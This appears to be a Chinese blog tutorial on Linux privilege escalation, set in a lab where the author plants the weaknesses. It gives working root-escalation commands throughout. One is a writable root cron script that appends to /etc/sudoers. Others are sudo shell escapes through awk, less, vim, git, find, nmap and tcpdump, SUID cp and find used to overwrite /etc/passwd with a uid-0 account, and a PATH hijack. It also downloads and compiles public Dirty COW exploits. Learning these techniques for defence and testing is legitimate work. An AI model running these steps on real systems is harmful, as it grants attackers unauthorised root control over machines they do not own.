linux提权入门

一、crontab提权

linux系统中可以使用crontab -e命令创建计划任务,/var/spool/cron/目录下保存着每个用户的定时任务,非root用户没有权限列出。另外还可以编辑/etc/crontab设置计划任务,该文件普通用户是可以查看的。

  1. 编辑/etc/crontab,设置每隔1分钟执行一次sh脚本
*/1 * * * * root sh /home/test/test.sh >> /tmp/test.txt
image.png
  1. 如果test用户有权限操作test.sh,则存在提权漏洞。下面使用test用户修改test.sh:将test用户加入sudoers
[test@localhost ~]$ mv test.sh test.sh.bak
[test@localhost ~]$ vim test.sh
echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
[test@localhost ~]$ cat test.sh
image.png
  1. 等待1分钟后,成功提权
[test@localhost ~]$ sudo su
[root@localhost test]# whoami
image.png

二、sudo提权

Linux系统中可以使用sudo执行一个只有root才能执行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出当前用户支持sudo的命令。

  1. awk
  • 将awk加入/etc/sudoers
[root@localhost ~]# visudo
test ALL=(root) NOPASSWD: /usr/bin/awk
  • 执行提权
[test@localhost ~]$ sudo awk 'BEGIN {system("/bin/bash")}'
[root@localhost test]# whoami
root
image.png
  1. less、more
  • 将less和more加入/etc/sudoers
[root@localhost ~]# visudo
test ALL=(root) NOPASSWD: /usr/bin/awk,/usr/bin/less /var/log/vmware-install.log,/bin/more /var/log/vmware-install.log
  • 执行提权
[test@localhost ~]$ sudo less /var/log/vmware-install.log 
输入!/bin/bash
[root@localhost test]# whoami 
root
image.png
  1. vim
[test@localhost Desktop]$ sudo vim -c '!bash'
[root@localhost Desktop]# whoami
root
image.png
  1. git
test@ubuntu:/home$ sudo git help status
输入!/bin/bash即可获得root权限
root@ubuntu:/home# whoami 
root
image.png
  1. find
[test@localhost ~]$ sudo find /bin/ -name ls -exec /bin/bash \;
[root@localhost test]# whoami
root
image.png
  1. nmap
  • 首先创建一个nse文件
[test@localhost ~]$ echo "os.execute('/bin/bash')" > /tmp/shell.nse
  • 然后使用nmap执行脚本进行提权
[test@localhost ~]$ sudo nmap --script=/tmp/shell.nse
image.png
  1. tcpdump
  • 首先创建一个文件,并赋予执行权限
[test@localhost ~]$ cat /tmp/test 
echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
[test@localhost ~]$ chmod +x /tmp/test
  • 进行提权操作
[test@localhost ~]$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root

[test@localhost ~]$ sudo su
[root@localhost test]# whoami 
root
image.png

三、S权限位

Linux中通过设置SUID,可以让程序的执行者临时拥有属主的权限,使用下面的命令可以搜索系统中所有的SUID可执行文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
  1. cp
    利用过程
  • 生成一个新的/etc/passwd,用户名data密码123
[test@localhost ~]$ cat /etc/passwd
[test@localhost ~]$ openssl passwd -1 -salt data 123
$1$data$GjDuj3QgL0edNBoahZ.Xg/
[test@localhost ~]$ touch passwd
将以下内容插入passwd,生成一个新的passwd文件
data:$1$data$GjDuj3QgL0edNBoahZ.Xg/:0:0::/root:/bin/bash
  • 假设cp具有SUID权限,可以通过替换/etc/passwd进行提权
[root@localhost ~]# chmod u+s /bin/cp
[test@localhost ~]$ cp passwd /etc/passwd
[test@localhost ~]$ su data
Password: 
[root@localhost test]# whoami 
root
image.png
  1. bash
    以root身份打开一个bash shell
[test@localhost ~]$ bash -p
bash-4.1# whoami
root
  1. find
    查找文件的同时执行命令
[test@localhost ~]$ find /bin -name ls -exec whoami \;
root
image.png
  • 利用过程
    使用之前生成的passwd文件,并执行以下命令替换/etc/passwd,其中'{}'指passwd文件的内容
[test@localhost ~]$ find passwd -exec cp '{}' /etc/passwd \;
[test@localhost ~]$ su data
Password: 
[root@localhost test]# whoami 
root
image.png

四、环境变量

  1. 假设当前有一段C语言代码,实现让普通用户可以免密码切到test用户
#include<unistd.h>
void main()
{
    setuid(0);
    setgid(0);
    system("su test");
}
  1. 进行编译,并赋予S权限位
[root@localhost tmp]# gcc demo.c -o demo
[root@localhost tmp]# chmod u+s demo
  1. 添加环境变量进行提权
[coler@localhost tmp]$ echo "/bin/bash" > su
[coler@localhost tmp]$ chmod 777 su 
[coler@localhost tmp]$ pwd
/tmp
[coler@localhost tmp]$ export PATH=/tmp:$PATH
[coler@localhost tmp]$ ./demo 
[root@localhost tmp]# whoami 
root
[root@localhost tmp]# echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/coler/bin
image.png

五、系统漏洞提权

脏牛漏洞:测试发现centos7.2之前能成功,7.3开始无法成功
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

  1. centos6.5
  • 下载并编译漏洞利用代码
[test@localhost ~]$ wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
[test@localhost ~]$ gcc -pthread dirty.c -o dirty -lcrypt
  • 执行后会创建一个firefart用户,并将passwd文件备份到/tmp/passwd.bak
[test@localhost ~]$ ./dirty
image.png
  • 此时切到firefart用户即为root权限,当然我们也可以替换之前的passwd文件
[test@localhost ~]$ su firefart
[firefart@localhost test]# id
[firefart@localhost test]# cp /tmp/passwd.bak /etc/passwd
image.png
  1. centos7.2
  • 下载并编译漏洞利用代码
[test@localhost ~]$ wget https://raw.githubusercontent.com/gbonacini/CVE-2016-5195/master/dcow.cpp
[test@localhost ~]$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
  • 执行提权
[test@localhost ~]$ ./dcow 
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 查询命令具体介绍:man/info 命令 计算器:bc 进行加减乘除操作 时间:date cal Tab键:补全命...
    Suavitygogo阅读 458评论 0 0
  • 此篇文章内容是我很久以前在印象笔记中的一个知识总结,大概122个Linux指令。如今,写出来就当再回顾一遍了。若有...
    StephenZhang01阅读 1,183评论 0 5
  • 观其大纲 第1部分Linux的基础知识第1章Linux概述第2章Linux系统的安装KickStart开始自动安装...
    周少言阅读 1,673评论 1 10
  • chmod:修改权限 chown:写改属主,属组 umask:改创建文件时的默认权限,权限掩码 set位: ...
    heiguu阅读 1,878评论 0 0
  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 6,340评论 0 10

友情链接更多精彩内容